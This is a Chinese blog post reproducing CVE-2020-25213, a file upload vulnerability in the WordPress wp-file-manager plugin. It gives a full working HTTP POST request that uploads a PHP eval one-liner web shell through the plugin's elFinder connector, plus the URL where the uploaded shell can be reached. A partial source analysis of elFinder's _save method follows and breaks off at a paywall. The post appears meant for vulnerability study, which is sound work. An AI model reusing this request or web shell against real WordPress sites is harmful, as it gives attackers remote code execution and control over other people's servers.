WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

最新推荐文章于 2025-01-20 15:13:32 发布

网安Dokii

最新推荐文章于 2025-01-20 15:13:32 发布

阅读量1.7k

点赞数 24

文章标签： android 安全网络安全

本文链接：https://blog.csdn.net/Dokii_i/article/details/135846490

版权

文章详细描述了WordPresswp-file-manager插件的一个安全漏洞，攻击者可以通过POST请求在本地服务器上传恶意文件并获取shell访问。文章分析了漏洞的复现步骤，涉及elFinder组件的几个关键类及其方法，以及如何利用这些信息进行攻击和防御。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.漏洞复现

WordPress 6.2

插件：wp-file-manager 6.0，File Manager (advanced view) – WordPress plugin | WordPress.org （https://wordpress.org/plugins/wp-file-manager/advanced/）

复现

后台，安装、启动插件

前台，提交请求包：

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 424
Content-Type: multipart/form-data; boundary=------------------------52d91370b674307b
 
--------------------------52d91370b674307b
Content-Disposition: form-data; name="cmd"
 
upload
--------------------------52d91370b674307b
Content-Disposition: form-data; name="target"
 
l1_
--------------------------52d91370b674307b
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: application/octet-stream
 
<?php @eval($_POST[1]);?>
--------------------------52d91370b674307b--

访问一句话木马：http://127.0.0.1/wp-content/plugins/wp-file-manager/lib/files/shell.php

2.逆向分析

从敏感函数逆向分析

elFinderVolumeLocalFileSystem类

敏感函数 copy 位于 elFinderVolumeLocalFileSystem类的 _save方法

/wp-content/plugins/wp-file-manager/lib/php/elFinderVolumeLocalFileSystem.class.php

protected function _save($fp, $dir, $name, $stat)
{
  $path = $this->_joinPath($dir, $name);
 
  $meta = stream_get_meta_data($fp);
  $uri = isset($meta['uri']) ? $meta['uri'] : '';
  if ($uri && !preg_match('#^[a-zA-Z0-9]+://#', $uri) &&am

最低0.47元/天解锁文章